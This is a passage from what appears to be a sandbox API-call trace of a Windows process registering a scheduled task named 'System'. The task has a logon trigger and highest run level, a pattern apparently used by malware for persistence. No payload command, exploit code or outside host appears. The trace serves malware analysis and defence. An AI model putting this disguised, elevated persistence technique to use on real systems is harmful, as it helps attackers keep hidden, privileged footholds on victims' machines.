(lpString="MONTHLY") returned 7 [0128.499] GetProcessHeap () returned 0x10e05f40000 [0128.499] RtlAllocateHeap (HeapHandle=0x10e05f40000, Flags=0xc, Size=0x10) returned 0x10e05f4aae0 [0128.499] GetThreadLocale () returned 0x409 [0128.499] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="MONTHLY", cchCount2=-1) returned 3 [0128.499] _memicmp (_Buf1=0x10e05f44c70, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.499] LoadStringW (in: hInstance=0x0, uID=0x1b3, lpBuffer=0x10e05f4bb40, cchBufferMax=256 | out: lpBuffer="ONCE") returned 0x4 [0128.499] lstrlenW (lpString="ONCE") returned 4 [0128.499] GetProcessHeap () returned 0x10e05f40000 [0128.499] RtlAllocateHeap (HeapHandle=0x10e05f40000, Flags=0xc, Size=0xa) returned 0x10e05f4aba0 [0128.500] GetThreadLocale () returned 0x409 [0128.500] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="ONCE", cchCount2=-1) returned 3 [0128.500] _memicmp (_Buf1=0x10e05f44c70, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.500] LoadStringW (in: hInstance=0x0, uID=0x1b4, lpBuffer=0x10e05f4bb40, cchBufferMax=256 | out: lpBuffer="ONSTART") returned 0x7 [0128.500] lstrlenW (lpString="ONSTART") returned 7 [0128.500] GetThreadLocale () returned 0x409 [0128.500] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="ONSTART", cchCount2=-1) returned 1 [0128.500] _memicmp (_Buf1=0x10e05f44c70, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.500] LoadStringW (in: hInstance=0x0, uID=0x1b5, lpBuffer=0x10e05f4bb40, cchBufferMax=256 | out: lpBuffer="ONLOGON") returned 0x7 [0128.500] lstrlenW (lpString="ONLOGON") returned 7 [0128.500] GetThreadLocale () returned 0x409 [0128.500] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="ONLOGON", cchCount2=-1) returned 2 [0128.500] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.500] GetProcessHeap () returned 0x10e05f40000 [0128.500] RtlAllocateHeap (HeapHandle=0x10e05f40000, Flags=0xc, Size=0x1fc) returned 0x10e05f4ac80 [0128.500] _memicmp (_Buf1=0x10e05f44c70, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.500] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x10e05f4bb40, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0128.500] lstrlenW (lpString="First") returned 5 [0128.500] _memicmp (_Buf1=0x10e05f44c70, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.500] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x10e05f4bb40, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0128.500] lstrlenW (lpString="Second") returned 6 [0128.500] _memicmp (_Buf1=0x10e05f44c70, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.501] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x10e05f4bb40, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0128.501] lstrlenW (lpString="Third") returned 5 [0128.501] _memicmp (_Buf1=0x10e05f44c70, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.501] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x10e05f4bb40, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0128.501] lstrlenW (lpString="Fourth") returned 6 [0128.501] _memicmp (_Buf1=0x10e05f44c70, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.501] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x10e05f4bb40, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0128.501] lstrlenW (lpString="Last") returned 4 [0128.501] _memicmp (_Buf1=0x10e05f44c70, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.501] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x10e05f4bb40, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0128.501] lstrlenW (lpString="First") returned 5 [0128.501] _memicmp (_Buf1=0x10e05f44c70, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.501] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x10e05f4bb40, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0128.501] lstrlenW (lpString="Second") returned 6 [0128.501] _memicmp (_Buf1=0x10e05f44c70, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.501] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x10e05f4bb40, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0128.501] lstrlenW (lpString="Third") returned 5 [0128.501] GetProcessHeap () returned 0x10e05f40000 [0128.501] GetProcessHeap () returned 0x10e05f40000 [0128.501] HeapValidate (hHeap=0x10e05f40000, dwFlags=0x0, lpMem=0x10e05f4aba0) returned 1 [0128.501] GetProcessHeap () returned 0x10e05f40000 [0128.501] RtlSizeHeap (HeapHandle=0x10e05f40000, Flags=0x0, MemoryPointer=0x10e05f4aba0) returned 0xa [0128.501] RtlFreeHeap (HeapHandle=0x10e05f40000, Flags=0x0, BaseAddress=0x10e05f4aba0) returned 1 [0128.501] GetProcessHeap () returned 0x10e05f40000 [0128.501] RtlAllocateHeap (HeapHandle=0x10e05f40000, Flags=0xc, Size=0xc) returned 0x10e05f4ab00 [0128.501] _memicmp (_Buf1=0x10e05f44c70, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.501] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x10e05f4bb40, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0128.501] lstrlenW (lpString="Fourth") returned 6 [0128.501] _memicmp (_Buf1=0x10e05f44c70, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.502] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x10e05f4bb40, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0128.502] lstrlenW (lpString="Last") returned 4 [0128.502] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0x23b4fc680, cchData=128 | out: lpLCData="0") returned 2 [0128.502] _memicmp (_Buf1=0x10e05f44c70, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.502] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x10e05f4bb40, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0128.502] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0128.502] GetProcessHeap () returned 0x10e05f40000 [0128.502] GetProcessHeap () returned 0x10e05f40000 [0128.502] HeapValidate (hHeap=0x10e05f40000, dwFlags=0x0, lpMem=0x10e05f4ac00) returned 1 [0128.502] GetProcessHeap () returned 0x10e05f40000 [0128.502] RtlSizeHeap (HeapHandle=0x10e05f40000, Flags=0x0, MemoryPointer=0x10e05f4ac00) returned 0x10 [0128.502] RtlFreeHeap (HeapHandle=0x10e05f40000, Flags=0x0, BaseAddress=0x10e05f4ac00) returned 1 [0128.502] GetProcessHeap () returned 0x10e05f40000 [0128.502] RtlAllocateHeap (HeapHandle=0x10e05f40000, Flags=0xc, Size=0x16) returned 0x10e05f4ab20 [0128.502] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0x23b4fc6a0, cchData=128 | out: lpLCData="0") returned 2 [0128.502] _memicmp (_Buf1=0x10e05f44c70, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.502] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x10e05f4bb40, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0128.502] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0128.502] GetProcessHeap () returned 0x10e05f40000 [0128.502] GetProcessHeap () returned 0x10e05f40000 [0128.502] HeapValidate (hHeap=0x10e05f40000, dwFlags=0x0, lpMem=0x10e05f4aa20) returned 1 [0128.502] GetProcessHeap () returned 0x10e05f40000 [0128.502] RtlSizeHeap (HeapHandle=0x10e05f40000, Flags=0x0, MemoryPointer=0x10e05f4aa20) returned 0x10 [0128.503] RtlFreeHeap (HeapHandle=0x10e05f40000, Flags=0x0, BaseAddress=0x10e05f4aa20) returned 1 [0128.503] GetProcessHeap () returned 0x10e05f40000 [0128.503] RtlAllocateHeap (HeapHandle=0x10e05f40000, Flags=0xc, Size=0x16) returned 0x10e05f4ac00 [0128.503] GetLocalTime (in: lpSystemTime=0x23b4fc8d8 | out: lpSystemTime=0x23b4fc8d8*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0xf, wSecond=0x33, wMilliseconds=0x36d)) [0128.503] GetLocalTime (in: lpSystemTime=0x23b4fd2c8 | out: lpSystemTime=0x23b4fd2c8*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0xf, wSecond=0x33, wMilliseconds=0x36d)) [0128.503] lstrlenW (lpString="") returned 0 [0128.503] lstrlenW (lpString="") returned 0 [0128.503] lstrlenW (lpString="") returned 0 [0128.503] lstrlenW (lpString="") returned 0 [0128.503] lstrlenW (lpString="") returned 0 [0128.503] lstrlenW (lpString="") returned 0 [0128.503] lstrlenW (lpString="") returned 0 [0128.503] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0128.512] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x1, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x0 [0128.566] CoCreateInstance (in: rclsid=0x7ff685139e68*(Data1=0xf87369f, Data2=0xa4e5, Data3=0x4cfc, Data4=([0]=0xbd, [1]=0x3e, [2]=0x73, [3]=0xe6, [4]=0x15, [5]=0x45, [6]=0x72, [7]=0xdd)), pUnkOuter=0x0, dwClsContext=0x17, riid=0x7ff685139e78*(Data1=0x2faba4c7, Data2=0x4da9, Data3=0x4013, Data4=([0]=0x96, [1]=0x97, [2]=0x20, [3]=0xcc, [4]=0x3f, [5]=0xd4, [6]=0xf, [7]=0x85)), ppv=0x23b4fd020 | out: ppv=0x23b4fd020*=0x10e05f15700) returned 0x0 [0128.587] TaskScheduler:ITaskService:Connect (This=0x10e05f15700, serverName=0x23b4fd110*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), user=0x23b4fd0e0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), domain=0x23b4fd0c0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0x23b4fd0a0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0)) returned 0x0 [0129.208] TaskScheduler:ITaskService:GetFolder (in: This=0x10e05f15700, Path=0x0, ppFolder=0x23b4fd200 | out: ppFolder=0x23b4fd200*=0x10e05f15880) returned 0x0 [0129.211] TaskScheduler:ITaskService:NewTask (in: This=0x10e05f15700, flags=0x0, ppDefinition=0x23b4fd1d8 | out: ppDefinition=0x23b4fd1d8*=0x10e05f15900) returned 0x0 [0129.211] ITaskDefinition:get_Actions (in: This=0x10e05f15900, ppActions=0x23b4fd120 | out: ppActions=0x23b4fd120*=0x10e05f15990) returned 0x0 [0129.212] IActionCollection:Create (in: This=0x10e05f15990, Type=0, ppAction=0x23b4fd160 | out: ppAction=0x23b4fd160*=0x10e05f15da0) returned 0x0 [0129.212] IUnknown:Release (This=0x10e05f15da0) returned 0x1 [0129.212] IUnknown:Release (This=0x10e05f15990) returned 0x1 [0129.212] ITaskDefinition:get_Triggers (in: This=0x10e05f15900, ppTriggers=0x23b4fccd0 | out: ppTriggers=0x23b4fccd0*=0x10e05f15c50) returned 0x0 [0129.212] ITriggerCollection:Create (in: This=0x10e05f15c50, Type=9, ppTrigger=0x23b4fccb8 | out: ppTrigger=0x23b4fccb8*=0x10e05f15e10) returned 0x0 [0129.213] IUnknown:QueryInterface (in: This=0x10e05f15e10, riid=0x7ff685138a30*(Data1=0x72dade38, Data2=0xfae4, Data3=0x4b3e, Data4=([0]=0xba, [1]=0xf4, [2]=0x5d, [3]=0x0, [4]=0x9a, [5]=0xf0, [6]=0x2b, [7]=0x1c)), ppvObject=0x23b4fccb0 | out: ppvObject=0x23b4fccb0*=0x10e05f15e10) returned 0x0 [0129.213] IUnknown:Release (This=0x10e05f15e10) returned 0x2 [0129.213] _vsnwprintf (in: _Buffer=0x23b4fcc00, _BufferCount=0x1f, _Format="%04u-%02u-%02dT%02u:%02u:00", _ArgList=0x23b4fcbd8 | out: _Buffer="2023-09-19T17:15:00") returned 19 [0129.213] ITrigger:put_StartBoundary (This=0x10e05f15e10, StartBoundary="2023-09-19T17:15:00") returned 0x0 [0129.213] lstrlenW (lpString="") returned 0 [0129.213] lstrlenW (lpString="") returned 0 [0129.213] lstrlenW (lpString="") returned 0 [0129.213] lstrlenW (lpString="") returned 0 [0129.213] IUnknown:Release (This=0x10e05f15e10) returned 0x1 [0129.213] IUnknown:Release (This=0x10e05f15c50) returned 0x1 [0129.214] ITaskDefinition:get_Settings (in: This=0x10e05f15900, ppSettings=0x23b4fd160 | out: ppSettings=0x23b4fd160*=0x10e05f15ad0) returned 0x0 [0129.214] lstrlenW (lpString="") returned 0 [0129.214] IUnknown:Release (This=0x10e05f15ad0) returned 0x3 [0129.214] GetLocalTime (in: lpSystemTime=0x23b4fd018 | out: lpSystemTime=0x23b4fd018*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0xf, wSecond=0x34, wMilliseconds=0x245)) [0129.214] ResolveDelayLoadedAPI () returned 0x7ffa78123fa0 [0129.214] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x23b4fd030, nSize=0x23b4fd008 | out: lpNameBuffer="XC64ZB\\RDhJ0CNFevzX", nSize=0x23b4fd008) returned 0x1 [0129.215] ITaskDefinition:get_RegistrationInfo (in: This=0x10e05f15900, ppRegistrationInfo=0x23b4fd000 | out: ppRegistrationInfo=0x23b4fd000*=0x10e05f15a10) returned 0x0 [0129.215] IRegistrationInfo:put_Author (This=0x10e05f15a10, Author="XC64ZB\\RDhJ0CNFevzX") returned 0x0 [0129.215] _vsnwprintf (in: _Buffer=0x23b4fd030, _BufferCount=0x7f, _Format="%d-%02d-%02dT%02d:%02d:%02d", _ArgList=0x23b4fcfc8 | out: _Buffer="2023-09-19T17:15:52") returned 19 [0129.215] IRegistrationInfo:put_Date (This=0x10e05f15a10, Date="2023-09-19T17:15:52") returned 0x0 [0129.215] IUnknown:Release (This=0x10e05f15a10) returned 0x1 [0129.215] malloc (_Size=0x18) returned 0x10e05f15f30 [0129.216] free (_Block=0x10e05f15f30) [0129.216] lstrlenW (lpString="") returned 0 [0129.216] ITaskDefinition:get_Principal (in: This=0x10e05f15900, ppPrincipal=0x23b4fd1c8 | out: ppPrincipal=0x23b4fd1c8*=0x10e05f15cc0) returned 0x0 [0129.216] IPrincipal:put_RunLevel (This=0x10e05f15cc0, RunLevel=1) returned 0x0 [0129.216] IUnknown:Release (This=0x10e05f15cc0) returned 0x1 [0129.216] malloc (_Size=0x18) returned 0x10e05f15f30 [0129.216] ITaskFolder:RegisterTaskDefinition (in: This=0x10e05f15880, Path="System", pDefinition=0x10e05f15900, flags=6, UserId=0x23b4fd270*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0x23b4fd250*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), LogonType=3, sddl=0x23b4fd290*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), ppTask=0x23b4fd230 | out: ppTask=0x23b4fd230*=0x10e05f16fd0) returned 0x0 [0129.572] free (_Block=0x10e05f15f30) [0129.572] _memicmp (_Buf1=0x10e05f44c70, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.572] LoadStringW (in: hInstance=0x0, uID=0x12e, lpBuffer=0x10e05f4bb40, cchBufferMax=256 | out: lpBuffer="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 0x40 [0129.572] lstrlenW (lpString="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 64 [0129.572] GetProcessHeap () returned 0x10e05f40000 [0129.572] GetProcessHeap () returned 0x10e05f40000 [0129.572] HeapValidate (hHeap=0x10e05f40000, dwFlags=0x0, lpMem=0x10e05f4a900) returned 1 [0129.572] GetProcessHeap () returned 0x10e05f40000 [0129.572] RtlSizeHeap (HeapHandle=0x10e05f40000, Flags=0x0, MemoryPointer=0x10e05f4a900) returned 0xe [0129.572] RtlFreeHeap (HeapHandle=0x10e05f40000, Flags=0x0, BaseAddress=0x10e05f4a900) returned 1 [0129.572] GetProcessHeap () returned 0x10e05f40000 [0129.572] RtlAllocateHeap (HeapHandle=0x10e05f40000, Flags=0xc, Size=0x82) returned 0x10e05f659b0 [0129.572] _vsnwprintf (in: _Buffer=0x23b4fd8e0, _BufferCount=0x1fb, _Format="SUCCESS: The scheduled task \"%s\" has successfully been created.\n", _ArgList=0x23b4fd178 | out: _Buffer="SUCCESS: The scheduled task \"System\" has successfully been created.\n") returned 68 [0129.572] __iob_func () returned 0x7ffa7941e210 [0129.572] _fileno (_File=0x7ffa7941e240) returned -2 [0129.572] _errno () returned 0x10e05f10840 [0129.573] _get_osfhandle (_FileHandle=-2) returned 0xffffffffffffffff [0129.573] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0129.573] lstrlenW (lpString="SUCCESS: The scheduled task \"System\" has successfully been created.\n") returned 68 [0129.573] GetConsoleOutputCP () returned 0x0 [0129.573] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"System\" has successfully been created.\n", cchWideChar=68, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 68 [0129.573] GetConsoleOutputCP () returned 0x0 [0129.573] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"System\" has successfully been created.\n", cchWideChar=68, lpMultiByteStr=0x7ff685148630, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SUCCESS: The scheduled task \"System\" has successfully been created.\n", lpUsedDefaultChar=0x0) returned 68 [0129.573] fprintf (in: _File=0x7ffa7941e240, _Format="%s" | out: _File=0x7ffa7941e240) returned 68 [0129.573] fflush (in: _File=0x7ffa7941e240 | out: _File=0x7ffa7941e240) returned -1 [0129.573] IUnknown:Release (This=0x10e05f16fd0) returned 0x0 [0129.573] TaskScheduler:IUnknown:Release (This=0x10e05f15900) returned 0x0 [0129.573] TaskScheduler:IUnknown:Release (This=0x10e05f15880) returned 0x0 [0129.573] TaskScheduler:IUnknown:Release (This=0x10e05f15700) returned 0x0 [0129.574] lstrlenW (lpString="") returned 0 [0129.574] GetProcessHeap () returned 0x10e05f40000 [0129.574] GetProcessHeap () returned 0x10e05f40000 [0129.574] HeapValidate (hHeap=0x10e05f40000, dwFlags=0x0, lpMem=0x10e05f4ac80) returned 1 [0129.574] GetProcessHeap () returned 0x10e05f40000 [0129.574] RtlSizeHeap (HeapHandle=0x10e05f40000, Flags=0x0, MemoryPointer=0x10e05f4ac80) returned 0x1fc [0129.575] RtlFreeHeap (HeapHandle=0x10e05f40000, Flags=0x0, BaseAddress=0x10e05f4ac80) returned 1 [0129.575] GetProcessHeap () returned 0x10e05f40000 [0129.575] GetProcessHeap () returned 0x10e05f40000 [0129.575] HeapValidate (hHeap=0x10e05f40000, dwFlags=0x0, lpMem=0x10e05f4aaa0) returned 1 [0129.575] GetProcessHeap () returned 0x10e05f40000 [0129.575] RtlSizeHeap (HeapHandle=0x10e05f40000, Flags=0x0, MemoryPointer=0x10e05f4aaa0) returned 0x16 [0129.575] RtlFreeHeap (HeapHandle=0x10e05f40000, Flags=0x0, BaseAddress=0x10e05f4aaa0) returned 1 [0129.575] GetProcessHeap () returned 0x10e05f40000 [0129.575] GetProcessHeap () returned 0x10e05f40000 [0129.575] HeapValidate (hHeap=0x10e05f40000, dwFlags=0x0, lpMem=0x10e05f4abc0) returned 1 [0129.575] GetProcessHeap () returned 0x10e05f40000 [0129.575] RtlSizeHeap (HeapHandle=0x10e05f40000, Flags=0x0, MemoryPointer=0x10e05f4abc0) returned 0x18 [0129.575] RtlFreeHeap (HeapHandle=0x10e05f40000, Flags=0x0, BaseAddress=0x10e05f4abc0) returned 1 [0129.575] GetProcessHeap () returned 0x10e05f40000 [0129.575] GetProcessHeap () returned 0x10e05f40000 [0129.575] HeapValidate (hHeap=0x10e05f40000, dwFlags=0x0, lpMem=0x10e05f4b440) returned 1 [0129.575] GetProcessHeap () returned 0x10e05f40000 [0129.575] RtlSizeHeap (HeapHandle=0x10e05f40000, Flags=0x0, MemoryPointer=0x10e05f4b440) returned 0x20 [0129.576] RtlFreeHeap (HeapHandle=0x10e05f40000, Flags=0x0, BaseAddress=0x10e05f4b440) returned 1 [0129.576] GetProcessHeap () returned 0x10e05f40000 [0129.576] GetProcessHeap () returned 0x10e05f40000 [0129.576] HeapValidate (hHeap=0x10e05f40000, dwFlags=0x0, lpMem=0x10e05f43870) returned 1 [0129.576] GetProcessHeap () returned 0x10e05f40000 [0129.576] RtlSizeHeap (HeapHandle=0x10e05f40000, Flags=0x0, MemoryPointer=0x10e05f43870) returned 0xa0 [0129.577] RtlFreeHeap (HeapHandle=0x10e05f40000, Flags=0x0, BaseAddress=0x10e05f43870) returned 1 [0129.577] GetProcessHeap () returned 0x10e05f40000 [0129.577] GetProcessHeap () returned 0x10e05f40000 [0129.577] HeapValidate (hHeap=0x10e05f40000, dwFlags=0x0, lpMem=0x10e05f44c50) returned 1 [0129.577] GetProcessHeap () returned 0x10e05f40000 [0129.577] RtlSizeHeap (HeapHandle=0x10e05f40000, Flags=0x0, MemoryPointer=0x10e05f44c50) returned 0x18 [0129.577] RtlFreeHeap (HeapHandle=0x10e05f40000, Flags=0x0, BaseAddress=0x10e05f44c50) returned 1 [0129.577] GetProcessHeap () returned 0x10e05f40000 [0129.577] GetProcessHeap () returned 0x10e05f40000 [0129.577] HeapValidate (hHeap=0x10e05f40000, dwFlags=0x0, lpMem=0x10e05f4b740) returned 1 [0129.577] GetProcessHeap () returned 0x10e05f40000 [0129.577] RtlSizeHeap (HeapHandle=0x10e05f40000, Flags=0x0, MemoryPointer=0x10e05f4b740) returned 0x20 [0129.577] RtlFreeHeap (HeapHandle=0x10e05f40000, Flags=0x0, BaseAddress=0x10e05f4b740) returned 1 [0129.578] GetProcessHeap () returned 0x10e05f40000 [0129.578] GetProcessHeap () returned 0x10e05f40000 [0129.578] HeapValidate (hHeap=0x10e05f40000, dwFlags=0x0, lpMem=0x10e05f446f0) returned 1 [0129.578] GetProcessHeap () returned 0x10e05f40000 [0129.578] RtlSizeHeap (HeapHandle=0x10e05f40000, Flags=0x0, MemoryPointer=0x10e05f446f0) returned 0x62 [0129.578] RtlFreeHeap (HeapHandle=0x10e05f40000, Flags=0x0, BaseAddress=0x10e05f446f0) returned 1 [0129.578] GetProcessHeap () returned 0x10e05f40000 [0129.578] GetProcessHeap () returned 0x10e05f40000 [0129.578] HeapValidate (hHeap=0x10e05f40000, dwFlags=0x0, lpMem=0x10e05f4abe0) returned 1 [0129.578] GetProcessHeap () returned 0x10e05f40000 [0129.578] RtlSizeHeap (HeapHandle=0x10e05f40000, Flags=0x0, MemoryPointer=0x10e05f4abe0) returned 0x18 [0129.578] RtlFreeHeap (HeapHandle=0x10e05f40000, Flags=0x0, BaseAddress=0x10e05f4abe0) returned 1 [0129.578] GetProcessHeap () returned 0x10e05f40000 [0129.578] GetProcessHeap () returned 0x10e05f40000 [0129.578] HeapValidate (hHeap=0x10e05f40000, dwFlags=0x0, lpMem=0x10e05f4b5c0) returned 1 [0129.578] GetProcessHeap () returned 0x10e05f40000 [0129.578] RtlSizeHeap (HeapHandle=0x10e05f40000, Flags=0x0, MemoryPointer=0x10e05f4b5c0) returned 0x20 [0129.579] RtlFreeHeap (HeapHandle=0x10e05f40000, Flags=0x0, BaseAddress=0x10e05f4b5c0) returned 1 [0129.579] GetProcessHeap () returned 0x10e05f40000 [0129.579] GetProcessHeap () returned 0x10e05f40000 [0129.579] HeapValidate (hHeap=0x10e05f40000, dwFlags=0x0, lpMem=0x10e05f43b40) returned 1 [0129.579] GetProcessHeap () returned 0x10e05f40000 [0129.579] RtlSizeHeap (HeapHandle=0x10e05f40000, Flags=0x0, MemoryPointer=0x10e05f43b40) returned 0x64 [0129.580] RtlFreeHeap (HeapHandle=0x10e05f40000, Flags=0x0, BaseAddress=0x10e05f43b40) returned 1 [0129.580] GetProcessHeap () returned 0x10e05f40000 [0129.580] GetProcessHeap () returned 0x10e05f40000 [0129.580] HeapValidate (hHeap=0x10e05f40000, dwFlags=0x0, lpMem=0x10e05f4a9c0) returned 1 [0129.580] GetProcessHeap () returned 0x10e05f40000 [0129.580] RtlSizeHeap (HeapHandle=0x10e05f40000, Flags=0x0, MemoryPointer=0x10e05f4a9c0) returned 0x18 [0129.580] RtlFreeHeap (HeapHandle=0x10e05f40000, Flags=0x0, BaseAddress=0x10e05f4a9c0) returned 1 [0129.580] GetProcessHeap () returned 0x10e05f40000 [0129.580] GetProcessHeap () returned 0x10e05f40000 [0129.580] HeapValidate (hHeap=0x10e05f40000, dwFlags=0x0, lpMem=0x10e05f48f30) returned 1 [0129.580] GetProcessHeap () returned 0x10e05f40000 [0129.580] RtlSizeHeap (HeapHandle=0x10e05f40000, Flags=0x0, MemoryPointer=0x10e05f48f30) returned 0x20 [0129.581] RtlFreeHeap (HeapHandle=0x10e05f40000, Flags=0x0, BaseAddress=0x10e05f48f30) returned 1 [0129.581] GetProcessHeap () returned 0x10e05f40000 [0129.581] GetProcessHeap () returned 0x10e05f40000 [0129.581] HeapValidate (hHeap=0x10e05f40000, dwFlags=0x0, lpMem=0x10e05f4aa40) returned 1 [0129.581] GetProcessHeap () returned 0x10e05f40000 [0129.581] RtlSizeHeap (HeapHandle=0x10e05f40000, Flags=0x0, MemoryPointer=0x10e05f4aa40) returned 0xe [0129.581] RtlFreeHeap (HeapHandle=0x10e05f40000, Flags=0x0, BaseAddress=0x10e05f4aa40) returned 1 [0129.581] GetProcessHeap () returned 0x10e05f40000 [0129.581] GetProcessHeap () returned 0x10e05f40000 [0129.581] HeapValidate (hHeap=0x10e05f40000, dwFlags=0x0, lpMem=0x10e05f44770) returned 1 [0129.581] GetProcessHeap () returned 0x10e05f40000 [0129.581] RtlSizeHeap (HeapHandle=0x10e05f40000, Flags=0x0, MemoryPointer=0x10e05f44770) returned 0x18 [0129.581] RtlFreeHeap (HeapHandle=0x10e05f40000, Flags=0x0, BaseAddress=0x10e05f44770) returned 1 [0129.581] GetProcessHeap () returned 0x10e05f40000 [0129.581] GetProcessHeap () returned 0x10e05f40000 [0129.581] HeapValidate (hHeap=0x10e05f40000, dwFlags=0x0, lpMem=0x10e05f490b0) returned 1 [0129.581] GetProcessHeap () returned 0x10e05f40000 [0129.581] RtlSizeHeap (HeapHandle=0x10e05f40000, Flags=0x0, MemoryPointer=0x10e05f490b0) returned 0x20 [0129.582] RtlFreeHeap (HeapHandle=0x10e05f40000, Flags=0x0, BaseAddress=0x10e05f490b0) returned 1 [0129.582] GetProcessHeap () returned 0x10e05f40000 [0129.582] GetProcessHeap () returned 0x10e05f40000 [0129.582] HeapValidate (hHeap=0x10e05f40000, dwFlags=0x0, lpMem=0x10e05f49b10) returned 1 [0129.582] GetProcessHeap () returned 0x10e05f40000 [0129.582] RtlSizeHeap (HeapHandle=0x10e05f40000, Flags=0x0, MemoryPointer=0x10e05f49b10) returned 0x208 [0129.582] RtlFreeHeap (HeapHandle=0x10e05f40000, Flags=0x0, BaseAddress=0x10e05f49b10) returned 1 [0129.582] GetProcessHeap () returned 0x10e05f40000 [0129.582] GetProcessHeap () returned 0x10e05f40000 [0129.582] HeapValidate (hHeap=0x10e05f40000, dwFlags=0x0, lpMem=0x10e05f44c30) returned 1 [0129.582] GetProcessHeap () returned 0x10e05f40000 [0129.582] RtlSizeHeap (HeapHandle=0x10e05f40000, Flags=0x0, MemoryPointer=0x10e05f44c30) returned 0x18 [0129.582] RtlFreeHeap (HeapHandle=0x10e05f40000, Flags=0x0, BaseAddress=0x10e05f44c30) returned 1 [0129.583] GetProcessHeap () returned 0x10e05f40000 [0129.583] GetProcessHeap () returned 0x10e05f40000 [0129.583] HeapValidate (hHeap=0x10e05f40000, dwFlags=0x0, lpMem=0x10e05f48ed0) returned 1 [0129.583] GetProcessHeap () returned 0x10e05f40000 [0129.583] RtlSizeHeap (HeapHandle=0x10e05f40000, Flags=0x0, MemoryPointer=0x10e05f48ed0) returned 0x20 [0129.583] RtlFreeHeap (HeapHandle=0x10e05f40000, Flags=0x0, BaseAddress=0x10e05f48ed0) returned 1 